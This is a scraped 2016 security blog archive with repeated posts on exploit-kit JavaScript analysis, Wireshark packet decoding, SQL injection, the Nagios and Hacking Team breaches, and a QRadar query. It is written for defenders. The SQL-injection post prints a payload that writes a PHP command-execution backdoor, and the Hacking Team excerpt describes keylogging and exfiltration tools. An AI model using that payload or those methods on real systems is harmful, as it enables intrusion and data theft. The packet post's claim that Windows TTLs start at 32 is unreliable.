As you can tell above this is using javascript code to write some new HTML elements to the page that the user is currently on. In this case it's creating a DIV tag which is positions well off the screen (see the negative values for left and top position). Inside the DIV tage is the dreaded iframe. This means that code from an outside website it going to be injected/loaded into the website you're currently on. This could of course be prevented with some solid Content Security Policies using headers like X-Frame-Options to restrict which (if any) sites are allowed to load on your site from an iframe. In this case the url that user is being redirected to is the Angler Exploit kit per the blogger mentioned above. You can see that in the next HTTP object in wireshark.
If you save the object and open in your favorite text editor you'll see an HTML page that if you're in the security field you're used to seeing. It's a bunch of random gibberish sentences that make no sense. It's kinda like the Angler Exploit kit's unique calling card, pretty easy to spot by the naked eye, yet pretty tricky for an automated Security tool to spot since there's not many similarities from one landing page to the other because all the text and code is essentially obfuscated and randomized.
If you scroll down far enough you'll find Javascript tags that are heavily obfuscated and near impossible to read at first glance.
And eventually if you scroll enough you'll see a collection of Javascript variables in the Angler Exploit kit. This is actually the core data. If you're able to decrypt these variables you're able to see where the payload urls are pulling the malware/viruses from.
If you're comfortable with javascript and know what you're doing it's not very hard to complete this process. If you're not familiar with javascript or this whole process, you have to be careful, because if you accidentally execute this javascript or download the resulting urls you may wind up infecting the device you're on. So to be extra cautious you probably want to spin up a disposable virtual machine not connected to the internet at all that you can analyze this javascript in.
Then my personal preference short of using some automated scripts that security researchers have written, would be to carve out the javascript from the html page and save it in a separate file. Then the keys to being successful are to remove the javascript code that looks like it's going to be executing Active X or XML Request or other malicious calls. For example, this code may seem harmless
LqejPHhTcQlxj[HfNjIsqnJo]("kOWwE-PH2t-blQrTRBsQZaur");
But if put together with all the other obfuscated code higher up in the file, my guess is this is a call to a malicious object such as an ActiveX or XMLHttpRequest object meaning it could try to download a file , save it to your c drive, or execute a file. So lines of code like this may need to be comment out or replaced with simpler things such as alert popup boxes or console debug statements so that you can print out the values without actually executing them. The main thing we're typically after though is those payload urls, where are they going to download the malicious executable? To determine that you need that block of variables I mentioned above, plus you need the "decrypt" function which is buried in the javascript somewhere. I typically identify it as the function with the most for loops in it! Thus something like below to me indicates that JDUXLD might be the decrypt function.
Thus if you can rip out all the other javascript except essentially for those variables and this decrypt function you can simply execute javascript that decrypts the variables but doesn't actually execute any malicious code.
So you might end up with some debug statements like this
That may spit out the url that delivers the payload into the debug console. Now that you've got that information, you can inspect that malicious content in your lab, submit it to your sandbox platform, or whatever your next steps are.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Thursday, May 26, 2016
Analyzing Some UDP Packets
I thought it'd be interesting to just walk through the analysis of a set of harmless UDP packets, to get a feel for basic 101 packet inspections, OSI layer analysis, and to see how a tool like Wireshark works behind the scenes. Here is what the packets look like in WireShark.
So to start, there was this string of UDP packets going outbound to an ip address on port 111. If you were to google search port 111 you'd see that one possibility is Sun Remote Procedure Calls. Let's take a bit of a deeper dive into these packets.
You can see above that WireShark has actually used the Ethernet Frame (layer 2) to determine the MAC addresses of the source & destination. MAC Addresses are unique identifiers for devices, and are useful because you can do a google search and determine based on the MAC address what vendor / company made the device and likely what type of device it may be. So how did Wireshark determine these MAC Addresses? Well below you'll see that HEX interpretation of the first several bytes in the Ethernet Header.
This is Layer 2, so we're talking about devices or usually MAC Addresses. If you were to read about Ethernet Frames you'd see that the 1st 6 octets (2 hex digits) there make up the Destination MAC Address (in this case ending with :41:16) and the 2nd 6 octets make up the Source MAC Address (in this case ending with :48:c3). You'll also notice the next 2 octets (81 00) tell you the Ethernet Type which in this case indicates 802.1Q which is used to define standards for VLAN tagging ( the practice of inserting a ID into a packet header to identify which VLAN the packet belongs to ). The next portion of what Wireshark shows you is the 802.1Q information.
Above you see that Wireshark identified that the VLAN tagging says Priority is default, CFI (format indicator) is canonical, and the ID is 6. You will see it also says that this is IPv4. But how did Wireshark know all that?
Well, above are the HEX values that wireshark analyzed.
0 ==> The first HEX digit (4 bits) is split. The 1st 3 bits indicate Priority and the value 0 in this case is default (Best Effort). The last bit is the format indicator, in this case 0 (Canonical)
0 06 ==> The next 3 HEX digits (1.5 octets) make up the VLAN identifier (for the tagging we said above). In this case converting HEX to decimal is simple 0x16^2+0x16^1+6x16^0 equals 6 as the ID.
08 00 ==> The final 2 octets are for the EtherType, in this case 0x0800 which defines that this is IPv4 (e.g. ip normal addresses such as 171.70.71.72) .
Next Wireshark displays you the IP header information (Layer 3).
Above you can see that wireshark was able to determine that this is IPv4, the protocol is UDP, and determine the source & destination IP address. Again though, how did Wireshark determine that?
Above is the HEX interpretation of the IPv4 Header. This is layer 3 so you'll see below that we're talking about IP addresses communicating.
4 ==> The 1st HEX digit indicates the IP protocol version, in this case simply IPv4.
5 ==> The next HEX digit indicates the length of this IP header we are in (5 * 32 = 160 bits = 20 bytes = 5 words).
00 ==> The next octet used to be type of service, but has been redefined as Differentiated Services Code Point (DSCP) and Explicit Congestion Notification (ECN) for new technologies and doesn't apply here so it's 0.
00 54 ==> The next 2 octets define the total length of the entire packet (including header & data), which in this case 5x16^1+4x16^0=84 bytes.
0e b8 ==> The next 2 octets define an identifier for this packet in case of fragmentation where they have to be re-assembled (3768).
00 00 ==> the next 2 octets define information about a fragment if the packet needed to be broken up. The 1st 3 bits are flags that define if you should fragment or not. The remaining 13 bits define the fragment offset which tells the re-assembler how far from the beginning of the fragment you are away. In this case everything is 0 so this would be the first fragment.
1a ==> The next octet defines the time to live, which is a way to prevent infinite loops when routing packets. Every time a packet is routed to another device this count is decremented. If it hits 0, the packet is discarded (and assumed to be in an infinite loop). You can usually guess what Operating System sent a packet by it's TTL. Linux TTLs start at 64 and count down to zero. Windows TTLs start at 32 and count down to zero. Most of the time packets should reach their destination in very few hops, well before the TTL expires. Thus in this case the TTL is (1x16^1+10x16^0=26). 26 would indicate that this is likely a windows system that sent this packet since 32-26=6 hops which is probably an average acceptable value. If the number was in the 50s or 60s it might indicate it's a Linux device that sent it.
11 ==> The next octet defines the protocol (1x16^1+1x16^0=17). In this case 17 is defined by IP protocol as a UDP packet.
2c 64 ==> The next 2 octets are a header checksum (11364), which can be used by some devices that are routing packets to determine if this packet has been tampered with or modified.
XX XX a1 80 ==> The next 4 octets are probably what you're usually after, the source ip, or who sent this packet! (a1=161,80=128 == XX.XX.161.128)
XX XX 0f 1a ==> The next 4 octets are also extremely useful, destination ip, or who this packet is supposed to go to! (0f=15,1a=26 == XX.XX.15.26)
Next we'll look at the UDP header.
Above is the UDP packet, which is Layer 4, so you'll see information about which ports the 2 devices will use to communicate with eachother. Wireshark above shows you that the source port is 899 and the destination port is 111. It also tells you the length of the udp packet and gives you another checksum for validation. But again how does Wireshark know this?
03 83 ==> The first 2 octets are used to calculate the source port. In this case 3x16^2+8x16^1+3x16^0 equals 899.
00 6f ==> The second 2 octets calculate the destination port. In this case 6x16^1+15x16^0 equals 111.
00 40 ==> The 3rd 2 octets tell you the length of this udp header plus data. In this case 4x16^1+0x16^0 equals 64 bits which is 8 bytes or 2 words.
9c d0 ==> The checksum again is a value that can be used to determine if this packet was modified or tampered with (40144).
Next we'll look at the RPC data for the remote procedure call.
Above Wireshark has determine this UDP packet is a Remote Procedure call which is part of layer 5, the session layer. So it's going to manage the session where the calling system is making a request to the receiving system and getting a response back. Above you can see that Wireshark determined RPC version 2 is being used, a procedure is being called, the program the procedure is in is Portmap, the Portmap version is 2, the procedure requested in that Portmap program is called GETPORT, and no credentials or verification is being performed. But how does Wireshark know all that?
57 47 f6 f2 ==> The first 4 octets give the remote procedure call a unique transaction id for tracking.
00 00 00 00 ==> The next 4 octets define whether is a call CALL or REPLY, in this case 0 = call.
00 00 00 02 ==> The next 4 octets define the version of RPC which in this case is 2.
00 01 86 a0 ==> The next 4 octets define which program contains the procedure being requested. In this case program 100000 is portmap. Other example programs could be things like nfs, status, lock manager, or mount.
00 00 00 02 ==> The next 4 octets define program version , in tihs case it's saying Portmap is version 2.
00 00 00 03 ==> The next 4 octets define which procedure in the program (portmap) is being requested. In this case procedure 3 is GETPORT, so it's requesting a which port is used. Other procedures could be things like SET , UNSET, and DUMP a port.
00 00 00 00 00 00 00 00 ==> The next 8 octets are used to pass Credentials (optional) when making a call to a procedure. If it's all 0s like in this case, then it's null or no authorization is used, essentially a anonymous request.
00 00 00 00 00 00 00 00 ==> The final 8 octets are also used. If this is a call to a procedure that requires credentials, then the credentials and this verifier token are passed. If it's not used it'll be all 0s again.
Finally let's take a look at the Portmap procedure call.
Above wireshark has determined that inside this UDP Remote procedure call, the program being called is Portmap, and it's calling the GETPORT procedure. This procedure is used to find out the port number assigned to a particular program. But how does wireshark know this final layer 7 application layer information?
02 22 22 22 ==> In the first 4 octets, this identifier is used to identify which unique program the requestor is asking for the port number of. So basically the requesting system wants to make a remote call to a program on the receiving system, but the requesting system doesn't know which port to use, so it's first using this portmap program to ask, "hey, which port is program 02 22 22 22 using?" The system will respond either with a port number if the program is running, or with a failure if the program doesn't exist.
00 00 00 01 ==> In the next 4 octets, it's saying that the requestor is requesting a port number for version 1 of the progrma.
00 00 00 06 ==> In the next 4 octets, it's saying that the requestor is requesting the TCP port for the program, the protocol number 6 in this case maps to TCP.
00 00 00 00 ==> The final 4 octets are empty in a call like this, but in a response would be filled with the actual port number the program is using for version 1 tcp.
Hopefully this walk-through was useful in getting a better understanding of how Wireshark works , how the different layers of the OSI model are utilized, and how to do basic packet analysis.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
So to start, there was this string of UDP packets going outbound to an ip address on port 111. If you were to google search port 111 you'd see that one possibility is Sun Remote Procedure Calls. Let's take a bit of a deeper dive into these packets.
You can see above that WireShark has actually used the Ethernet Frame (layer 2) to determine the MAC addresses of the source & destination. MAC Addresses are unique identifiers for devices, and are useful because you can do a google search and determine based on the MAC address what vendor / company made the device and likely what type of device it may be. So how did Wireshark determine these MAC Addresses? Well below you'll see that HEX interpretation of the first several bytes in the Ethernet Header.
This is Layer 2, so we're talking about devices or usually MAC Addresses. If you were to read about Ethernet Frames you'd see that the 1st 6 octets (2 hex digits) there make up the Destination MAC Address (in this case ending with :41:16) and the 2nd 6 octets make up the Source MAC Address (in this case ending with :48:c3). You'll also notice the next 2 octets (81 00) tell you the Ethernet Type which in this case indicates 802.1Q which is used to define standards for VLAN tagging ( the practice of inserting a ID into a packet header to identify which VLAN the packet belongs to ). The next portion of what Wireshark shows you is the 802.1Q information.
Above you see that Wireshark identified that the VLAN tagging says Priority is default, CFI (format indicator) is canonical, and the ID is 6. You will see it also says that this is IPv4. But how did Wireshark know all that?
Well, above are the HEX values that wireshark analyzed.
0 ==> The first HEX digit (4 bits) is split. The 1st 3 bits indicate Priority and the value 0 in this case is default (Best Effort). The last bit is the format indicator, in this case 0 (Canonical)
0 06 ==> The next 3 HEX digits (1.5 octets) make up the VLAN identifier (for the tagging we said above). In this case converting HEX to decimal is simple 0x16^2+0x16^1+6x16^0 equals 6 as the ID.
08 00 ==> The final 2 octets are for the EtherType, in this case 0x0800 which defines that this is IPv4 (e.g. ip normal addresses such as 171.70.71.72) .
Next Wireshark displays you the IP header information (Layer 3).
Above you can see that wireshark was able to determine that this is IPv4, the protocol is UDP, and determine the source & destination IP address. Again though, how did Wireshark determine that?
Above is the HEX interpretation of the IPv4 Header. This is layer 3 so you'll see below that we're talking about IP addresses communicating.
4 ==> The 1st HEX digit indicates the IP protocol version, in this case simply IPv4.
5 ==> The next HEX digit indicates the length of this IP header we are in (5 * 32 = 160 bits = 20 bytes = 5 words).
00 ==> The next octet used to be type of service, but has been redefined as Differentiated Services Code Point (DSCP) and Explicit Congestion Notification (ECN) for new technologies and doesn't apply here so it's 0.
00 54 ==> The next 2 octets define the total length of the entire packet (including header & data), which in this case 5x16^1+4x16^0=84 bytes.
0e b8 ==> The next 2 octets define an identifier for this packet in case of fragmentation where they have to be re-assembled (3768).
00 00 ==> the next 2 octets define information about a fragment if the packet needed to be broken up. The 1st 3 bits are flags that define if you should fragment or not. The remaining 13 bits define the fragment offset which tells the re-assembler how far from the beginning of the fragment you are away. In this case everything is 0 so this would be the first fragment.
1a ==> The next octet defines the time to live, which is a way to prevent infinite loops when routing packets. Every time a packet is routed to another device this count is decremented. If it hits 0, the packet is discarded (and assumed to be in an infinite loop). You can usually guess what Operating System sent a packet by it's TTL. Linux TTLs start at 64 and count down to zero. Windows TTLs start at 32 and count down to zero. Most of the time packets should reach their destination in very few hops, well before the TTL expires. Thus in this case the TTL is (1x16^1+10x16^0=26). 26 would indicate that this is likely a windows system that sent this packet since 32-26=6 hops which is probably an average acceptable value. If the number was in the 50s or 60s it might indicate it's a Linux device that sent it.
11 ==> The next octet defines the protocol (1x16^1+1x16^0=17). In this case 17 is defined by IP protocol as a UDP packet.
2c 64 ==> The next 2 octets are a header checksum (11364), which can be used by some devices that are routing packets to determine if this packet has been tampered with or modified.
XX XX a1 80 ==> The next 4 octets are probably what you're usually after, the source ip, or who sent this packet! (a1=161,80=128 == XX.XX.161.128)
XX XX 0f 1a ==> The next 4 octets are also extremely useful, destination ip, or who this packet is supposed to go to! (0f=15,1a=26 == XX.XX.15.26)
Next we'll look at the UDP header.
Above is the UDP packet, which is Layer 4, so you'll see information about which ports the 2 devices will use to communicate with eachother. Wireshark above shows you that the source port is 899 and the destination port is 111. It also tells you the length of the udp packet and gives you another checksum for validation. But again how does Wireshark know this?
03 83 ==> The first 2 octets are used to calculate the source port. In this case 3x16^2+8x16^1+3x16^0 equals 899.
00 6f ==> The second 2 octets calculate the destination port. In this case 6x16^1+15x16^0 equals 111.
00 40 ==> The 3rd 2 octets tell you the length of this udp header plus data. In this case 4x16^1+0x16^0 equals 64 bits which is 8 bytes or 2 words.
9c d0 ==> The checksum again is a value that can be used to determine if this packet was modified or tampered with (40144).
Next we'll look at the RPC data for the remote procedure call.
Above Wireshark has determine this UDP packet is a Remote Procedure call which is part of layer 5, the session layer. So it's going to manage the session where the calling system is making a request to the receiving system and getting a response back. Above you can see that Wireshark determined RPC version 2 is being used, a procedure is being called, the program the procedure is in is Portmap, the Portmap version is 2, the procedure requested in that Portmap program is called GETPORT, and no credentials or verification is being performed. But how does Wireshark know all that?
57 47 f6 f2 ==> The first 4 octets give the remote procedure call a unique transaction id for tracking.
00 00 00 00 ==> The next 4 octets define whether is a call CALL or REPLY, in this case 0 = call.
00 00 00 02 ==> The next 4 octets define the version of RPC which in this case is 2.
00 01 86 a0 ==> The next 4 octets define which program contains the procedure being requested. In this case program 100000 is portmap. Other example programs could be things like nfs, status, lock manager, or mount.
00 00 00 02 ==> The next 4 octets define program version , in tihs case it's saying Portmap is version 2.
00 00 00 03 ==> The next 4 octets define which procedure in the program (portmap) is being requested. In this case procedure 3 is GETPORT, so it's requesting a which port is used. Other procedures could be things like SET , UNSET, and DUMP a port.
00 00 00 00 00 00 00 00 ==> The next 8 octets are used to pass Credentials (optional) when making a call to a procedure. If it's all 0s like in this case, then it's null or no authorization is used, essentially a anonymous request.
00 00 00 00 00 00 00 00 ==> The final 8 octets are also used. If this is a call to a procedure that requires credentials, then the credentials and this verifier token are passed. If it's not used it'll be all 0s again.
Finally let's take a look at the Portmap procedure call.
Above wireshark has determined that inside this UDP Remote procedure call, the program being called is Portmap, and it's calling the GETPORT procedure. This procedure is used to find out the port number assigned to a particular program. But how does wireshark know this final layer 7 application layer information?
02 22 22 22 ==> In the first 4 octets, this identifier is used to identify which unique program the requestor is asking for the port number of. So basically the requesting system wants to make a remote call to a program on the receiving system, but the requesting system doesn't know which port to use, so it's first using this portmap program to ask, "hey, which port is program 02 22 22 22 using?" The system will respond either with a port number if the program is running, or with a failure if the program doesn't exist.
00 00 00 01 ==> In the next 4 octets, it's saying that the requestor is requesting a port number for version 1 of the progrma.
00 00 00 06 ==> In the next 4 octets, it's saying that the requestor is requesting the TCP port for the program, the protocol number 6 in this case maps to TCP.
00 00 00 00 ==> The final 4 octets are empty in a call like this, but in a response would be filled with the actual port number the program is using for version 1 tcp.
Hopefully this walk-through was useful in getting a better understanding of how Wireshark works , how the different layers of the OSI model are utilized, and how to do basic packet analysis.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Friday, May 20, 2016
Separate Servers for your Website and DB?
Let's say you have a website and a database. Should you have 1 server or 2. Does it matter? Here's just 1 example of why it matters. Let's pretend your website has a single SQL Injection vulnerability on it. When that attacker injects a SQL statement, it will execute against your database. Did you realize there are SQL commands that can interact with the server's filesystem? As an example
SELECT * from orders INTO OUTFILE '/tmp/orders.txt';
The above statement could be used to dump the output of a select query of all orders into a text file. Hey, as a DBA or developer that might be useful. But guess what, as an attacker, that is useful too! First I'll give a simple example.
SELECT '<? echo 'hello world' ?>' INTO OUTFILE '/var/www/helloworld.php';
Now the above statement seems a bit strange at first, but essentially I'm dumping PHP code for a hello world program into a php file. So now I could navigate to hxxp://mysite.com/helloworld.php and there would be a file that says 'hello world'. Interesting right? Maybe not harmful yet, but it has potential. Now try something a bit more evil.
SELECT '<? system($_GET[\'p\']); ?>' INTO OUTFILE '/var/www/backdoor.php';
The above statement may be daunting at first, but all it's doing is writing php code that executing At the server's command line what is passed via parameter 'p' . Why is that bad? Well, the attacker could now visit your site again perhaps with this url hxxp://mysite.com/backdoor.php?p=ls and guess what, the page would execute the 'ls' command and list out all files in the web root directory. Now you could get way more creative than that and create a file or run an command that perhaps uploads a web shell, malware, or something more persistent to the server and control is on a more permanent basis.
Now back to the original topic at hand. In a scenario like above, what is one thing that would've made this type of attack a bit harder? One answer would be if the Web Server and Database server were on separate servers. Why would that make it harder for the attacker? Well, they likely can no longer run a single SQL injection command that dumps a php file and creates a backdoor. Instead the SQL command they run will be on a SQL server that doesn't necessarily have access to the web server or web root folders on the web server. Thus the attacker is going to have a lot more work to do, such as establishing persistence on the SQL server, then finding a way to either communicate outbound from the sql server back to the attackers device (likely harder if it's an internal machine with additional security hardening), or finding a way to pivot to and attack the web server to take control of it. Either way it's definitely a more daunting task than simply being handed a nice little server with the web and database mashed together. Consider that the next time you architect your solution. Tiered environments have many security benefits.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
SELECT * from orders INTO OUTFILE '/tmp/orders.txt';
The above statement could be used to dump the output of a select query of all orders into a text file. Hey, as a DBA or developer that might be useful. But guess what, as an attacker, that is useful too! First I'll give a simple example.
SELECT '<? echo 'hello world' ?>' INTO OUTFILE '/var/www/helloworld.php';
Now the above statement seems a bit strange at first, but essentially I'm dumping PHP code for a hello world program into a php file. So now I could navigate to hxxp://mysite.com/helloworld.php and there would be a file that says 'hello world'. Interesting right? Maybe not harmful yet, but it has potential. Now try something a bit more evil.
SELECT '<? system($_GET[\'p\']); ?>' INTO OUTFILE '/var/www/backdoor.php';
The above statement may be daunting at first, but all it's doing is writing php code that executing At the server's command line what is passed via parameter 'p' . Why is that bad? Well, the attacker could now visit your site again perhaps with this url hxxp://mysite.com/backdoor.php?p=ls and guess what, the page would execute the 'ls' command and list out all files in the web root directory. Now you could get way more creative than that and create a file or run an command that perhaps uploads a web shell, malware, or something more persistent to the server and control is on a more permanent basis.
Now back to the original topic at hand. In a scenario like above, what is one thing that would've made this type of attack a bit harder? One answer would be if the Web Server and Database server were on separate servers. Why would that make it harder for the attacker? Well, they likely can no longer run a single SQL injection command that dumps a php file and creates a backdoor. Instead the SQL command they run will be on a SQL server that doesn't necessarily have access to the web server or web root folders on the web server. Thus the attacker is going to have a lot more work to do, such as establishing persistence on the SQL server, then finding a way to either communicate outbound from the sql server back to the attackers device (likely harder if it's an internal machine with additional security hardening), or finding a way to pivot to and attack the web server to take control of it. Either way it's definitely a more daunting task than simply being handed a nice little server with the web and database mashed together. Consider that the next time you architect your solution. Tiered environments have many security benefits.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, May 17, 2016
Articles on Hacking Nagios
I found the following articles a fascinating read. The main takeways I thought revolved around what an attacker may do once inside. In these cases, it seemed they spied on sysadmins until they have enough information to exploit a management tools like Nagios. And hey, it makes sense, why go after 1 individual system at a time when you could compromise the system that has access to and monitors the entire organization. There are some great lessons learned in these articles that I reference below.
Anitian (A Pen Tester) who exploited Nagios
Most interesting lines from the blog: 1.) "Good system hardening should not only including keeping all the patches up-to-date, but also disabling all unnecessary services." The pen tester found a nagios server with directory indexes enabled, meaning the attacker could browser folders and directories on the nagios server thru a web browser. Some of those files contained sensitive info, such as some nagios configuration files. Further poking around exposed that there was essentially and "upload config" php page that wasn't doing proper validation and thus allowed the attacker to upload a web shell and literally within minutes gain access to the shell prompt of the nagios server.
2.) "Being a monitoring system it had some handy tools installed, such as nmap. I was able to use that to scan the network looking for other hosts to pivot too." Imagine if an attacker controls your management server such as Nagios. He can perform scans, recon, monitoring, etc. without ever being noticed, because who's going to question an nmap scan coming from your nagios server? Not likely, that's probably been ignored.
3.) "web script containing database credentials ... another script containing LDAP credentials ... had access to client login scripts". If your the nagios system administrator, I'm sure you write awesome perl and python scripts that connect to various systems, automate various administration tasks, etc. All those scripts probably have juicy information such as credentials, server names, and other gory details.
lessons - sensitive scripts and directories must be restricted to authorized users only , configuration of the system (nagios) and software is vital to the overall security, hardening, while boring, is extremely important My key lessons learned from this blog:
1.) A management system like Nagios must treated as a prime target and critical system and thus hardened as such. As a sysadmin, don't be lazy, step up your game, especially when it comes to your system.
2.) Web indexing should be turned off. There's no reason I can think of to enable web directory indexing on your nagios server, view that stuff locally only.
3.) Secure those scripts. As sysadmin you write all those great scripts that save you hours of manual work. Ensure the permissions are strong. Your tomcat service account shouldn't have access to them. They should be locked down, not even read-access to anybody, except a handful of your sysadmin elevated privilege accounts. Hacking Team post mortem
Most interesting lines from the blog: 1.) "(Hacking Team) was able to exploit a known vulnerability within the network management system Nagios". That means the sysadmin failed to patch his own system. As a sysadmin, you may concentrate a lot on patching other people's systems, but don't , don't, don't forget to patch your own management systems. Schedule it, get it on the calendar, and make it a habit.
2.) "attacker became aware of the Nagios system ... after they "spied" on the sysadmins". As a sysadmin be aware that you are a prime target. Organizations are inevitably going to get breached. Nefarious characters are going to be snooping around inside your network. Keep your eyes open, don't get complacement, take good care of your elevated privilege accounts and systems, and if something looks off, report suspicious activity.
3.) "attack was possible because backup and management networks that should have been segregated were not". Network segmentation is critical. There are many layers you can apply to this concept, including actual network firewalling/vlans, but also local firewalls on each system, as well as simply account permissions and making sure you're applying least privilege to which accounts can access what. Who needs access to your system? Who should take to it? Who should it talk to? Take all those into consideration and then make the appropriate configuration changes on the local box or send requests to the network team that keep the communication paths as locked down as possible.
My key lessons learned from this blog:
1.) Patch the patching system! Don't forget.
2.) Sysadmins, you are being hunted by attackers. Be conscious of that both at work and at home. They're going to be phishing you, they're going to be spying on you, so be vigilant.
Hacking Team dump breach details.
Most interesting lines from the blog: 1.) "One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi (one of Hacking Team's sysadmins) gave me access to a Nagios server which gave me access to the rete sviluppo (development network with the source code of RCS). With a simple combination of Get-Keystrokes and Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang [14], and GPO, you can spy on any employee, or even on the whole domain."
2.) " --[ 14 - Hunting Sysadmins ]----------------------------------------------------Reading their documentation about their infrastructure [1], I saw that I was still missing access to something important - the "Rete Sviluppo", an isolated network with the source code for RCS. The sysadmins of a company always have access to everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and to see if there were any other interesting systems I should investigate. It was simple to access their computers, since they were part of the windows domain where I'd already gotten admin access. Mauro Romeo's computer didn't have any ports open, so I opened the port for WMI [2] and executed meterpreter [3]. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a Truecrypt volume, I waited until he'd mounted it and then copied off the files. Many have made fun of Christian Pozzi's weak passwords (and of Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I included them in the leak as a false clue, and to laugh at him. The reality is that mimikatz and keyloggers view all passwords equally."
My key lessons learned from this blog:
1.) Attackers are looking for lazy sysadmins. Don't be one of them. Harden your system, your personal devices, your accounts, and thus at a minimum make the attacker have to work harder to get what they need.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Anitian (A Pen Tester) who exploited Nagios
Most interesting lines from the blog: 1.) "Good system hardening should not only including keeping all the patches up-to-date, but also disabling all unnecessary services." The pen tester found a nagios server with directory indexes enabled, meaning the attacker could browser folders and directories on the nagios server thru a web browser. Some of those files contained sensitive info, such as some nagios configuration files. Further poking around exposed that there was essentially and "upload config" php page that wasn't doing proper validation and thus allowed the attacker to upload a web shell and literally within minutes gain access to the shell prompt of the nagios server.
2.) "Being a monitoring system it had some handy tools installed, such as nmap. I was able to use that to scan the network looking for other hosts to pivot too." Imagine if an attacker controls your management server such as Nagios. He can perform scans, recon, monitoring, etc. without ever being noticed, because who's going to question an nmap scan coming from your nagios server? Not likely, that's probably been ignored.
3.) "web script containing database credentials ... another script containing LDAP credentials ... had access to client login scripts". If your the nagios system administrator, I'm sure you write awesome perl and python scripts that connect to various systems, automate various administration tasks, etc. All those scripts probably have juicy information such as credentials, server names, and other gory details.
lessons - sensitive scripts and directories must be restricted to authorized users only , configuration of the system (nagios) and software is vital to the overall security, hardening, while boring, is extremely important My key lessons learned from this blog:
1.) A management system like Nagios must treated as a prime target and critical system and thus hardened as such. As a sysadmin, don't be lazy, step up your game, especially when it comes to your system.
2.) Web indexing should be turned off. There's no reason I can think of to enable web directory indexing on your nagios server, view that stuff locally only.
3.) Secure those scripts. As sysadmin you write all those great scripts that save you hours of manual work. Ensure the permissions are strong. Your tomcat service account shouldn't have access to them. They should be locked down, not even read-access to anybody, except a handful of your sysadmin elevated privilege accounts. Hacking Team post mortem
Most interesting lines from the blog: 1.) "(Hacking Team) was able to exploit a known vulnerability within the network management system Nagios". That means the sysadmin failed to patch his own system. As a sysadmin, you may concentrate a lot on patching other people's systems, but don't , don't, don't forget to patch your own management systems. Schedule it, get it on the calendar, and make it a habit.
2.) "attacker became aware of the Nagios system ... after they "spied" on the sysadmins". As a sysadmin be aware that you are a prime target. Organizations are inevitably going to get breached. Nefarious characters are going to be snooping around inside your network. Keep your eyes open, don't get complacement, take good care of your elevated privilege accounts and systems, and if something looks off, report suspicious activity.
3.) "attack was possible because backup and management networks that should have been segregated were not". Network segmentation is critical. There are many layers you can apply to this concept, including actual network firewalling/vlans, but also local firewalls on each system, as well as simply account permissions and making sure you're applying least privilege to which accounts can access what. Who needs access to your system? Who should take to it? Who should it talk to? Take all those into consideration and then make the appropriate configuration changes on the local box or send requests to the network team that keep the communication paths as locked down as possible.
My key lessons learned from this blog:
1.) Patch the patching system! Don't forget.
2.) Sysadmins, you are being hunted by attackers. Be conscious of that both at work and at home. They're going to be phishing you, they're going to be spying on you, so be vigilant.
Hacking Team dump breach details.
Most interesting lines from the blog: 1.) "One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi (one of Hacking Team's sysadmins) gave me access to a Nagios server which gave me access to the rete sviluppo (development network with the source code of RCS). With a simple combination of Get-Keystrokes and Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang [14], and GPO, you can spy on any employee, or even on the whole domain."
2.) " --[ 14 - Hunting Sysadmins ]----------------------------------------------------Reading their documentation about their infrastructure [1], I saw that I was still missing access to something important - the "Rete Sviluppo", an isolated network with the source code for RCS. The sysadmins of a company always have access to everything, so I searched the computers of Mauro Romeo and Christian Pozzi to see how they administer the Sviluppo network, and to see if there were any other interesting systems I should investigate. It was simple to access their computers, since they were part of the windows domain where I'd already gotten admin access. Mauro Romeo's computer didn't have any ports open, so I opened the port for WMI [2] and executed meterpreter [3]. In addition to keylogging and screen scraping with Get-Keystrokes and Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1 [4], and searched for interesting files [5]. Upon seeing that Pozzi had a Truecrypt volume, I waited until he'd mounted it and then copied off the files. Many have made fun of Christian Pozzi's weak passwords (and of Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I included them in the leak as a false clue, and to laugh at him. The reality is that mimikatz and keyloggers view all passwords equally."
My key lessons learned from this blog:
1.) Attackers are looking for lazy sysadmins. Don't be one of them. Harden your system, your personal devices, your accounts, and thus at a minimum make the attacker have to work harder to get what they need.
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
Tuesday, May 10, 2016
Orphaned WinCollect Records Search
If you ever run into an issue where you go to the Qradar WinCollect tab and there is an agent successfully communicating, sending heartbeats and information messages, but you discover there was no Log Source setup thus you're not actually receiving the operating system logs from the agent, then you may be wondering how to discover this?
I wrote a simple psql query that should tell you the devices that have a record on the WinCollect tab, but no corresponding record on the Log Source tab.
select a.id, a.enabled, a.deleted, a.name, b.id, b.devicename from ale_client a left outer join ale_sensor_device_mapping c on a.id = c.ale_client_id left outer join sensordevice b on c.sensor_device_id = b.id where b.id is null and a.enabled = true and a.deleted=false;
More about neonprimetime
Top Blogs of all-time
Top Github Contributions
Copyright © 2016, this post cannot be reproduced or retransmitted in any form without reference to the original post.
I wrote a simple psql query that should tell you the devices that have a record on the WinCollect tab, but no corresponding record on the Log Source tab.
select a.id, a.enabled, a.deleted, a.name, b.id, b.devicename from ale_client a left outer join ale_sensor_device_mapping c on a.id = c.ale_client_id left outer join sensordevice b on c.sensor_device_id = b.id where b.id is null and a.enabled = true and a.deleted=false;
More about neonprimetime
Top Blogs of all-time
